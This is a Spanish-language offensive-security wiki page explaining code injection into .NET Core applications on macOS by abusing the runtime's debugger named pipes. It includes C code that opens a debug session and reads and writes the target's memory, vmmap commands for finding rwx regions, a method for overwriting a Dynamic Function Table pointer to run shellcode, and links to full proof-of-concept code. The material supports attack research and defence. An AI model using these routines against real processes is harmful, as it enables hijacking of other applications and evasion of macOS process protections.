# Inyección de aplicaciones .Net en macOS
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## Depuración de .NET Core
### **Establecer una sesión de depuración**
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) es responsable de manejar la **comunicación** entre el depurador y el depurado.\
Crea dos tuberías con nombres por proceso .Net en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) llamando a [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (uno terminará en **`-in`** y el otro en **`-out`** y el resto del nombre será el mismo).
Entonces, si vas al directorio **`$TMPDIR`** de los usuarios, podrás encontrar **fifos de depuración** que podrías usar para depurar aplicaciones .Net:
La función [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) manejará la comunicación desde un depurador.
Lo primero que se requiere que haga un depurador es **crear una nueva sesión de depuración**. Esto se hace **enviando un mensaje a través de la tubería `out`** que comienza con una estructura `MessageHeader`, que podemos obtener del código fuente de .NET:
```c
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
```
En el caso de una solicitud de nueva sesión, esta estructura se completa de la siguiente manera:
```c
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
```
Una vez construido, **enviamos esto al objetivo** utilizando la llamada al sistema `write`:
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
```
Siguiendo nuestro encabezado, necesitamos enviar una estructura `sessionRequestData` que contiene un GUID para identificar nuestra sesión:
```c
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
```
Al enviar nuestra solicitud de sesión, **leemos desde la tubería `out` una cabecera** que indicará **si** nuestra solicitud para establecer una sesión de depuración ha sido **exitosa** o no:
```c
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
### Leer memoria
Con una sesión de depuración establecida, es posible **leer memoria** utilizando el tipo de mensaje [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Para leer cierta memoria, el código principal necesario sería:
```c
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
```
El código de prueba de concepto (POC) se encuentra [aquí](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
### Escribir en la memoria
```c
bool writeMemory(void *addr, int len, unsigned char *input) {
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
```
El código POC utilizado para hacer esto se puede encontrar [aquí](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
### Ejecución de código .NET Core
Lo primero es identificar, por ejemplo, una región de memoria con permisos **`rwx`** en ejecución para guardar el shellcode a ejecutar. Esto se puede hacer fácilmente con:
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
Entonces, para activar la ejecución, sería necesario conocer algún lugar donde se almacena un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la **Tabla de Funciones Dinámicas (DFT)**, que es utilizada por el tiempo de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función admitidos se puede encontrar en [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h).
En las versiones x64, esto es sencillo utilizando la técnica de **búsqueda de firmas** al estilo de mimikatz para buscar en **`libcorclr.dll`** una referencia al símbolo **`_hlpDynamicFuncTable`**, al cual podemos desreferenciar:
Lo único que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Utilizando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio código malicioso.
El código completo de POC utilizado para la inyección en PowerShell se puede encontrar [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
## Referencias
* Esta técnica fue tomada de [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
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